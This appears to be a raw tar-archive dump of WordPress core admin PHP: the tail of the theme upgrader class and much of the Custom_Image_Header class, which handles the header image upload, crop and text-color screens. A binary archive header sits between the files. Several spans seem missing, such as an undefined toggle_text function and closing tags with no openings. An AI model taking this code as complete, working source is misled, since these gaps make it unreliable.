				sprintf(
					/* translators: %s: style.css */
					__( 'The %s stylesheet doesn&#8217;t contain a valid theme header.' ),
					'<code>style.css</code>'
				)
			);
		}

// If it's not a child theme, it must have at least an index.php to be legit.
		if ( empty( $info['Template'] ) && ! file_exists( $working_directory . 'index.php' ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_index',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: %s: index.php */
					__( 'The theme is missing the %s file.' ),
					'<code>index.php</code>'
				)
			);
		}

$requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null;
		$requires_wp  = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null;

if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded theme. */
				__( 'The PHP version on your server is %1$s, however the uploaded theme requires %2$s.' ),
				phpversion(),
				$requires_php
			);

return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error );
		}
		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
				__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
				$GLOBALS['wp_version'],
				$requires_wp
			);

return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error );
		}

$this->new_theme_data = $info;

return $source;
	}

/**
	 * Turn on maintenance mode before attempting to upgrade the current theme.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Theme_Upgrader::upgrade() and
	 * Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @param bool|WP_Error $return Upgrade offer return.
	 * @param array         $theme  Theme arguments.
	 * @return bool|WP_Error The passed in $return param or WP_Error.
	 */
	public function current_before( $return, $theme ) {
		if ( is_wp_error( $return ) ) {
			return $return;
		}

$theme = isset( $theme['theme'] ) ? $theme['theme'] : '';

// Only run if current theme
		if ( get_stylesheet() !== $theme ) {
			return $return;
		}

// Change to maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( true );
		}

return $return;
	}

/**
	 * Turn off maintenance mode after upgrading the current theme.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::upgrade()
	 * and Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @param bool|WP_Error $return Upgrade offer return.
	 * @param array         $theme  Theme arguments.
	 * @return bool|WP_Error The passed in $return param or WP_Error.
	 */
	public function current_after( $return, $theme ) {
		if ( is_wp_error( $return ) ) {
			return $return;
		}

$theme = isset( $theme['theme'] ) ? $theme['theme'] : '';

// Only run if current theme.
		if ( get_stylesheet() !== $theme ) {
			return $return;
		}

// Ensure stylesheet name hasn't changed after the upgrade:
		if ( get_stylesheet() === $theme && $theme !== $this->result['destination_name'] ) {
			wp_clean_themes_cache();
			$stylesheet = $this->result['destination_name'];
			switch_theme( $stylesheet );
		}

// Time to remove maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( false );
		}
		return $return;
	}

/**
	 * Delete the old theme during an upgrade.
	 *
	 * Hooked to the {@see 'upgrader_clear_destination'} filter by Theme_Upgrader::upgrade()
	 * and Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem Subclass
	 *
	 * @param bool   $removed
	 * @param string $local_destination
	 * @param string $remote_destination
	 * @param array  $theme
	 * @return bool
	 */
	public function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) {
		global $wp_filesystem;

if ( is_wp_error( $removed ) ) {
			return $removed; // Pass errors through.
		}

if ( ! isset( $theme['theme'] ) ) {
			return $removed;
		}

$theme      = $theme['theme'];
		$themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) );
		if ( $wp_filesystem->exists( $themes_dir . $theme ) ) {
			if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) ) {
				return false;
			}
		}

return true;
	}

/**
	 * Get the WP_Theme object for a theme.
	 *
	 * @since 2.8.0
	 * @since 3.0.0 The `$theme` argument was added.
	 *
	 * @param string $theme The directory name of the theme. This is optional, and if not supplied,
	 *                      the directory name from the last result will be used.
	 * @return WP_Theme|false The theme's info object, or false `$theme` is not supplied
	 *                        and the last result isn't set.
	 */
	public function theme_info( $theme = null ) {
		if ( empty( $theme ) ) {
			if ( ! empty( $this->result['destination_name'] ) ) {
				$theme = $this->result['destination_name'];
			} else {
				return false;
			}
		}

$theme = wp_get_theme( $theme );
		$theme->cache_delete();

return $theme;
	}

}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-custom-image-header.php�����������������������������������������������������������������������0000604�����������������00000135447�15075125354�0012221 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * The custom header image script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom header image class.
 *
 * @since 2.1.0
 */
class Custom_Image_Header {

/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 2.1.0
	 */
	public $admin_header_callback;

/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

/**
	 * Holds default headers.
	 *
	 * @var array
	 * @since 3.0.0
	 */
	public $default_headers = array();

/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

/**
	 * Constructor - Register administration header callback.
	 *
	 * @since 2.1.0
	 * @param callable $admin_header_callback
	 * @param callable $admin_image_div_callback Optional custom image div output callback.
	 */
	public function __construct( $admin_header_callback, $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

add_action( 'admin_menu', array( $this, 'init' ) );

add_action( 'customize_save_after', array( $this, 'customize_set_last_used' ) );
		add_action( 'wp_ajax_custom-header-crop', array( $this, 'ajax_header_crop' ) );
		add_action( 'wp_ajax_custom-header-add', array( $this, 'ajax_header_add' ) );
		add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove' ) );
	}

/**
	 * Set up the hooks for the Custom Header admin page.
	 *
	 * @since 2.1.0
	 */
	public function init() {
		$page = add_theme_page( __( 'Header' ), __( 'Header' ), 'edit_theme_options', 'custom-header', array( $this, 'admin_page' ) );
		if ( ! $page ) {
			return;
		}

add_action( "admin_print_scripts-{$page}", array( $this, 'js_includes' ) );
		add_action( "admin_print_styles-{$page}", array( $this, 'css_includes' ) );
		add_action( "admin_head-{$page}", array( $this, 'help' ) );
		add_action( "admin_head-{$page}", array( $this, 'take_action' ), 50 );
		add_action( "admin_head-{$page}", array( $this, 'js' ), 50 );
		if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

/**
	 * Adds contextual help.
	 *
	 * @since 3.0.0
	 */
	public function help() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'This screen is used to customize the header section of your theme.' ) . '</p>' .
					'<p>' . __( 'You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.' ) . '<p>',
			)
		);

get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-image',
				'title'   => __( 'Header Image' ),
				'content' =>
					'<p>' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button.' ) . '</p>' .
					'<p>' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you&#8217;d like and click the &#8220;Save Changes&#8221; button.' ) . '</p>' .
					'<p>' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature.' ) . '</p>' .
					'<p>' . __( 'If you don&#8217;t want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;.' ) . '</p>',
			)
		);

get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-text',
				'title'   => __( 'Header Text' ),
				'content' =>
					'<p>' . sprintf(
						/* translators: %s: URL to General Settings screen. */
						__( 'For most themes, the header text is your Site Title and Tagline, as defined in the <a href="%s">General Settings</a> section.' ),
						admin_url( 'options-general.php' )
					) .
					'</p>' .
					'<p>' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Don&#8217;t forget to click &#8220;Save Changes&#8221; when you&#8217;re done!' ) . '</p>',
			)
		);

get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Header_Screen">Documentation on Custom Header</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>'
		);
	}

/**
	 * Get the current step.
	 *
	 * @since 2.6.0
	 *
	 * @return int Current step
	 */
	public function step() {
		if ( ! isset( $_GET['step'] ) ) {
			return 1;
		}

$step = (int) $_GET['step'];
		if ( $step < 1 || 3 < $step ||
			( 2 == $step && ! wp_verify_nonce( $_REQUEST['_wpnonce-custom-header-upload'], 'custom-header-upload' ) ) ||
			( 3 == $step && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'custom-header-crop-image' ) )
		) {
			return 1;
		}

return $step;
	}

/**
	 * Set up the enqueue for the JavaScript files.
	 *
	 * @since 2.1.0
	 */
	public function js_includes() {
		$step = $this->step();

if ( ( 1 == $step || 3 == $step ) ) {
			wp_enqueue_media();
			wp_enqueue_script( 'custom-header' );
			if ( current_theme_supports( 'custom-header', 'header-text' ) ) {
				wp_enqueue_script( 'wp-color-picker' );
			}
		} elseif ( 2 == $step ) {
			wp_enqueue_script( 'imgareaselect' );
		}
	}

/**
	 * Set up the enqueue for the CSS files
	 *
	 * @since 2.7.0
	 */
	public function css_includes() {
		$step = $this->step();

if ( ( 1 == $step || 3 == $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			wp_enqueue_style( 'wp-color-picker' );
		} elseif ( 2 == $step ) {
			wp_enqueue_style( 'imgareaselect' );
		}
	}

/**
	 * Execute custom header modification.
	 *
	 * @since 2.6.0
	 */
	public function take_action() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return;
		}

if ( empty( $_POST ) ) {
			return;
		}

$this->updated = true;

if ( isset( $_POST['resetheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
			$this->reset_header_image();
			return;
		}

if ( isset( $_POST['removeheader'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
			$this->remove_header_image();
			return;
		}

if ( isset( $_POST['text-color'] ) && ! isset( $_POST['display-header-text'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
			set_theme_mod( 'header_textcolor', 'blank' );
		} elseif ( isset( $_POST['text-color'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
			$_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );
			$color               = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['text-color'] );
			if ( strlen( $color ) == 6 || strlen( $color ) == 3 ) {
				set_theme_mod( 'header_textcolor', $color );
			} elseif ( ! $color ) {
				set_theme_mod( 'header_textcolor', 'blank' );
			}
		}

if ( isset( $_POST['default-header'] ) ) {
			check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );
			$this->set_header_image( $_POST['default-header'] );
			return;
		}
	}

/**
	 * Process the default headers
	 *
	 * @since 3.0.0
	 *
	 * @global array $_wp_default_headers
	 */
	public function process_default_headers() {
		global $_wp_default_headers;

if ( ! isset( $_wp_default_headers ) ) {
			return;
		}

if ( ! empty( $this->default_headers ) ) {
			return;
		}

$this->default_headers    = $_wp_default_headers;
		$template_directory_uri   = get_template_directory_uri();
		$stylesheet_directory_uri = get_stylesheet_directory_uri();
		foreach ( array_keys( $this->default_headers ) as $header ) {
			$this->default_headers[ $header ]['url']           = sprintf( $this->default_headers[ $header ]['url'], $template_directory_uri, $stylesheet_directory_uri );
			$this->default_headers[ $header ]['thumbnail_url'] = sprintf( $this->default_headers[ $header ]['thumbnail_url'], $template_directory_uri, $stylesheet_directory_uri );
		}
	}

/**
	 * Display UI for selecting one of several default headers.
	 *
	 * Show the random image option if this theme has multiple header images.
	 * Random image option is on by default if no header has been set.
	 *
	 * @since 3.0.0
	 *
	 * @param string $type The header type. One of 'default' (for the Uploaded Images control)
	 *                     or 'uploaded' (for the Uploaded Images control).
	 */
	public function show_header_selector( $type = 'default' ) {
		if ( 'default' === $type ) {
			$headers = $this->default_headers;
		} else {
			$headers = get_uploaded_header_images();
			$type    = 'uploaded';
		}

if ( 1 < count( $headers ) ) {
			echo '<div class="random-header">';
			echo '<label><input name="default-header" type="radio" value="random-' . $type . '-image"' . checked( is_random_header_image( $type ), true, false ) . ' />';
			_e( '<strong>Random:</strong> Show a different image on each page.' );
			echo '</label>';
			echo '</div>';
		}

echo '<div class="available-headers">';
		foreach ( $headers as $header_key => $header ) {
			$header_thumbnail = $header['thumbnail_url'];
			$header_url       = $header['url'];
			$header_alt_text  = empty( $header['alt_text'] ) ? '' : $header['alt_text'];
			echo '<div class="default-header">';
			echo '<label><input name="default-header" type="radio" value="' . esc_attr( $header_key ) . '" ' . checked( $header_url, get_theme_mod( 'header_image' ), false ) . ' />';
			$width = '';
			if ( ! empty( $header['attachment_id'] ) ) {
				$width = ' width="230"';
			}
			echo '<img src="' . set_url_scheme( $header_thumbnail ) . '" alt="' . esc_attr( $header_alt_text ) . '"' . $width . ' /></label>';
			echo '</div>';
		}
		echo '<div class="clear"></div></div>';
	}

/**
	 * Execute JavaScript depending on step.
	 *
	 * @since 2.1.0
	 */
	public function js() {
		$step = $this->step();
		if ( ( 1 == $step || 3 == $step ) && current_theme_supports( 'custom-header', 'header-text' ) ) {
			$this->js_1();
		} elseif ( 2 == $step ) {
			$this->js_2();
		}
	}

/**
	 * Display JavaScript based on Step 1 and 3.
	 *
	 * @since 2.6.0
	 */
	public function js_1() {
		$default_color = '';
		if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
			$default_color = get_theme_support( 'custom-header', 'default-text-color' );
			if ( $default_color && false === strpos( $default_color, '#' ) ) {
				$default_color = '#' . $default_color;
			}
		}
		?>
<script type="text/javascript">
(function($){
	var default_color = '<?php echo esc_js( $default_color ); ?>',
		header_text_fields;

function pickColor(color) {
		$('#name').css('color', color);
		$('#desc').css('color', color);
		$('#text-color').val(color);
	}

$(document).ready(function() {
		var text_color = $('#text-color');
		header_text_fields = $('.displaying-header-text');
		text_color.wpColorPicker({
			change: function( event, ui ) {
				pickColor( text_color.wpColorPicker('color') );
			},
			clear: function() {
				pickColor( '' );
			}
		});
		$('#display-header-text').click( toggle_text );
		<?php if ( ! display_header_text() ) : ?>
		toggle_text();
		<?php endif; ?>
	});
})(jQuery);
</script>
		<?php
	}

/**
	 * Display JavaScript based on Step 2.
	 *
	 * @since 2.6.0
	 */
	public function js_2() {

?>
<script type="text/javascript">
	function onEndCrop( coords ) {
		jQuery( '#x1' ).val(coords.x);
		jQuery( '#y1' ).val(coords.y);
		jQuery( '#width' ).val(coords.w);
		jQuery( '#height' ).val(coords.h);
	}

jQuery(document).ready(function() {
		var xinit = <?php echo absint( get_theme_support( 'custom-header', 'width' ) ); ?>;
		var yinit = <?php echo absint( get_theme_support( 'custom-header', 'height' ) ); ?>;
		var ratio = xinit / yinit;
		var ximg = jQuery('img#upload').width();
		var yimg = jQuery('img#upload').height();

if ( yimg < yinit || ximg < xinit ) {
			if ( ximg / yimg > ratio ) {
				yinit = yimg;
				xinit = yinit * ratio;
			} else {
				xinit = ximg;
				yinit = xinit / ratio;
			}
		}

jQuery('img#upload').imgAreaSelect({
			handles: true,
			keys: true,
			show: true,
			x1: 0,
			y1: 0,
			x2: xinit,
			y2: yinit,
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
				?>
			aspectRatio: xinit + ':' + yinit,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
				?>
			maxHeight: <?php echo get_theme_support( 'custom-header', 'height' ); ?>,
				<?php
			}
			if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
				?>
			maxWidth: <?php echo get_theme_support( 'custom-header', 'width' ); ?>,
				<?php
			}
			?>
			onInit: function () {
				jQuery('#width').val(xinit);
				jQuery('#height').val(yinit);
			},
			onSelectChange: function(img, c) {
				jQuery('#x1').val(c.x1);
				jQuery('#y1').val(c.y1);
				jQuery('#width').val(c.width);
				jQuery('#height').val(c.height);
			}
		});
	});
</script>
		<?php
	}

/**
	 * Display first step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_1() {
		$this->process_default_headers();
		?>

<?php if ( current_user_can( 'customize' ) ) { ?>
<div class="notice notice-info hide-if-no-customize">
	<p>
			<?php
			printf(
				/* translators: %s: URL to header image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Header in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=header_image' )
			);
			?>
	</p>
</div>
		<?php } ?>

<?php if ( ! empty( $this->updated ) ) { ?>
<div id="message" class="updated">
	<p>
			<?php
			/* translators: %s: Home URL. */
			printf( __( 'Header updated. <a href="%s">Visit your site</a> to see how it looks.' ), home_url( '/' ) );
			?>
	</p>
</div>
		<?php } ?>

<?php if ( get_custom_header() || display_header_text() ) : ?>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
			<?php
			if ( $this->admin_image_div_callback ) {
				call_user_func( $this->admin_image_div_callback );
			} else {
				$custom_header = get_custom_header();
				$header_image  = get_header_image();

if ( $header_image ) {
					$header_image_style = 'background-image:url(' . esc_url( $header_image ) . ');';
				} else {
					$header_image_style = '';
				}

if ( $custom_header->width ) {
					$header_image_style .= 'max-width:' . $custom_header->width . 'px;';
				}
				if ( $custom_header->height ) {
					$header_image_style .= 'height:' . $custom_header->height . 'px;';
				}
				?>
	<div id="headimg" style="<?php echo $header_image_style; ?>">
				<?php
				if ( display_header_text() ) {
					$style = ' style="color:#' . get_header_textcolor() . ';"';
				} else {
					$style = ' style="display:none;"';
				}
				?>
		<h1><a id="name" class="displaying-header-text" <?php echo $style; ?> onclick="return false;" href="<?php bloginfo( 'url' ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
		<div id="desc" class="displaying-header-text" <?php echo $style; ?>><?php bloginfo( 'description' ); ?></div>
	</div>
			<?php } ?>
</td>
</tr>
		<?php endif; ?>

<?php if ( current_user_can( 'upload_files' ) && current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td>
	<p><?php _e( 'You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it.' ); ?><br />
			<?php
			if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
				/* translators: 1: Image width in pixels, 2: Image height in pixels. */
				printf( __( 'Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is.' ) . '<br />', get_theme_support( 'custom-header', 'width' ), get_theme_support( 'custom-header', 'height' ) );
			} elseif ( current_theme_supports( 'custom-header', 'flex-height' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s wide.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}
			} elseif ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
				if ( ! current_theme_supports( 'custom-header', 'flex-height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Images should be at least %s tall.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}
			if ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) {
				if ( current_theme_supports( 'custom-header', 'width' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested width is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header width. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'width' )
						)
					);
				}
				if ( current_theme_supports( 'custom-header', 'height' ) ) {
					printf(
						/* translators: %s: Size in pixels. */
						__( 'Suggested height is %s.' ) . ' ',
						sprintf(
							/* translators: %d: Custom header height. */
							'<strong>' . __( '%d pixels' ) . '</strong>',
							get_theme_support( 'custom-header', 'height' )
						)
					);
				}
			}
			?>
	</p>
	<form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="<?php echo esc_url( add_query_arg( 'step', 2 ) ); ?>">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
			<?php
				$modal_update_href = esc_url(
					add_query_arg(
						array(
							'page' => 'custom-header',
							'step' => 2,
							'_wpnonce-custom-header-upload' => wp_create_nonce( 'custom-header-upload' ),
						),
						admin_url( 'themes.php' )
					)
				);
			?>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-update-link="<?php echo esc_attr( $modal_update_href ); ?>"
			data-choose="<?php esc_attr_e( 'Choose a Custom Header' ); ?>"
			data-update="<?php esc_attr_e( 'Set as header' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<form method="post" action="<?php echo esc_url( add_query_arg( 'step', 1 ) ); ?>">
		<?php submit_button( null, 'screen-reader-text', 'save-header-options', false ); ?>
<table class="form-table" role="presentation">
<tbody>
		<?php if ( get_uploaded_header_images() ) : ?>
<tr>
<th scope="row"><?php _e( 'Uploaded Images' ); ?></th>
<td>
	<p><?php _e( 'You can choose one of your previously uploaded headers, or show a random one.' ); ?></p>
			<?php
			$this->show_header_selector( 'uploaded' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( ! empty( $this->default_headers ) ) :
			?>
<tr>
<th scope="row"><?php _e( 'Default Images' ); ?></th>
<td>
			<?php if ( current_theme_supports( 'custom-header', 'uploads' ) ) : ?>
	<p><?php _e( 'If you don&lsquo;t want to upload your own image, you can use one of these cool headers, or show a random one.' ); ?></p>
	<?php else : ?>
	<p><?php _e( 'You can use one of these cool headers or show a random one on each page.' ); ?></p>
	<?php endif; ?>
			<?php
			$this->show_header_selector( 'default' );
			?>
</td>
</tr>
			<?php
	endif;
		if ( get_header_image() ) :
			?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
	<p><?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Remove Header Image' ), '', 'removeheader', false ); ?>
</td>
</tr>
			<?php
	endif;

$default_image = sprintf( get_theme_support( 'custom-header', 'default-image' ), get_template_directory_uri(), get_stylesheet_directory_uri() );
		if ( $default_image && get_header_image() != $default_image ) :
			?>
<tr>
<th scope="row"><?php _e( 'Reset Image' ); ?></th>
<td>
	<p><?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ); ?></p>
			<?php submit_button( __( 'Restore Original Header Image' ), '', 'resetheader', false ); ?>
</td>
</tr>
	<?php endif; ?>
</tbody>
</table>

<?php if ( current_theme_supports( 'custom-header', 'header-text' ) ) : ?>

<tr class="displaying-header-text">
<th scope="row"><?php _e( 'Text Color' ); ?></th>
<td>
	<p>
			<?php
			$default_color = '';
			if ( current_theme_supports( 'custom-header', 'default-text-color' ) ) {
				$default_color = get_theme_support( 'custom-header', 'default-text-color' );
				if ( $default_color && false === strpos( $default_color, '#' ) ) {
					$default_color = '#' . $default_color;
				}
			}

$default_color_attr = $default_color ? ' data-default-color="' . esc_attr( $default_color ) . '"' : '';

$header_textcolor = display_header_text() ? get_header_textcolor() : get_theme_support( 'custom-header', 'default-text-color' );
			if ( $header_textcolor && false === strpos( $header_textcolor, '#' ) ) {
				$header_textcolor = '#' . $header_textcolor;
			}

echo '<input type="text" name="text-color" id="text-color" value="' . esc_attr( $header_textcolor ) . '"' . $default_color_attr . ' />';
			if ( $default_color ) {
				/* translators: %s: Default text color. */
				echo ' <span class="description hide-if-js">' . sprintf( _x( 'Default: %s', 'color' ), esc_html( $default_color ) ) . '</span>';
			}
			?>
	</p>
</td>
</tr>
</tbody>
</table>
			<?php
endif;

/**
		 * Fires just before the submit button in the custom header options form.
		 *
		 * @since 3.1.0
		 */
		do_action( 'custom_header_options' );

wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' );
		?>

<?php submit_button( null, 'primary', 'save-header-options' ); ?>
</form>
</div>

<?php
	}

/**
	 * Display second step of custom header image page.
	 *
	 * @since 2.1.0
	 */
	public function step_2() {
		check_admin_referer( 'custom-header-upload', '_wpnonce-custom-header-upload' );
		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The current theme does not support uploading a custom header image.' ) . '</p>',
				403
			);
		}

if ( empty( $_POST ) && isset( $_GET['file'] ) ) {
			$attachment_id = absint( $_GET['file'] );
			$file          = get_attached_file( $attachment_id, true );
			$url           = wp_get_attachment_image_src( $attachment_id, 'full' );
			$url           = $url[0];
		} elseif ( isset( $_POST ) ) {
			$data          = $this->step_2_manage_upload();
			$attachment_id = $data['attachment_id'];
			$file          = $data['file'];
			$url           = $data['url'];
		}

if ( file_exists( $file ) ) {
			list( $width, $height, $type, $attr ) = @getimagesize( $file );
		} else {
			$data   = wp_get_attachment_metadata( $attachment_id );
			$height = isset( $data['height'] ) ? $data['height'] : 0;
			$width  = isset( $data['width'] ) ? $data['width'] : 0;
			unset( $data );
		}

$max_width = 0;
		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( current_theme_supports( 'custom-header', 'flex-width' ) ) {
			$max_width = 1500;
		}

if ( current_theme_supports( 'custom-header', 'max-width' ) ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}
		$max_width = max( $max_width, get_theme_support( 'custom-header', 'width' ) );

// If flexible height isn't supported and the image is the exact right size.
		if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' )
			&& get_theme_support( 'custom-header', 'width' ) == $width && get_theme_support( 'custom-header', 'height' ) == $height ) {
			// Add the metadata.
			if ( file_exists( $file ) ) {
				wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			}

$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );

/**
			 * Fires after the header image is set or an error is returned.
			 *
			 * @since 2.1.0
			 *
			 * @param string $file          Path to the file.
			 * @param int    $attachment_id Attachment ID.
			 */
			do_action( 'wp_create_file_in_uploads', $file, $attachment_id ); // For replication.

return $this->finished();
		} elseif ( $width > $max_width ) {
			$oitar = $width / $max_width;
			$image = wp_crop_image( $attachment_id, 0, 0, $width, $height, $max_width, $height / $oitar, false, str_replace( wp_basename( $file ), 'midsize-' . wp_basename( $file ), $file ) );
			if ( ! $image || is_wp_error( $image ) ) {
				wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
			}

/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$image = apply_filters( 'wp_create_file_in_uploads', $image, $attachment_id ); // For replication.

$url    = str_replace( wp_basename( $url ), wp_basename( $image ), $url );
			$width  = $width / $oitar;
			$height = $height / $oitar;
		} else {
			$oitar = 1;
		}
		?>

<div id="crop_image" style="position: relative">
		<img src="<?php echo esc_url( $url ); ?>" id="upload" width="<?php echo $width; ?>" height="<?php echo $height; ?>" alt="" />
	</div>

<p class="submit">
		<?php submit_button( __( 'Crop and Publish' ), 'primary', 'submit', false ); ?>
		<?php
		if ( isset( $oitar ) && 1 == $oitar && ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) ) {
			submit_button( __( 'Skip Cropping, Publish Image as Is' ), '', 'skip-cropping', false );
		}
		?>
	</p>
</form>
</div>
		<?php
	}

/**
	 * Upload the file to be cropped in the second step.
	 *
	 * @since 3.4.0
	 */
	public function step_2_manage_upload() {
		$overrides = array( 'test_form' => false );

$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );
		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

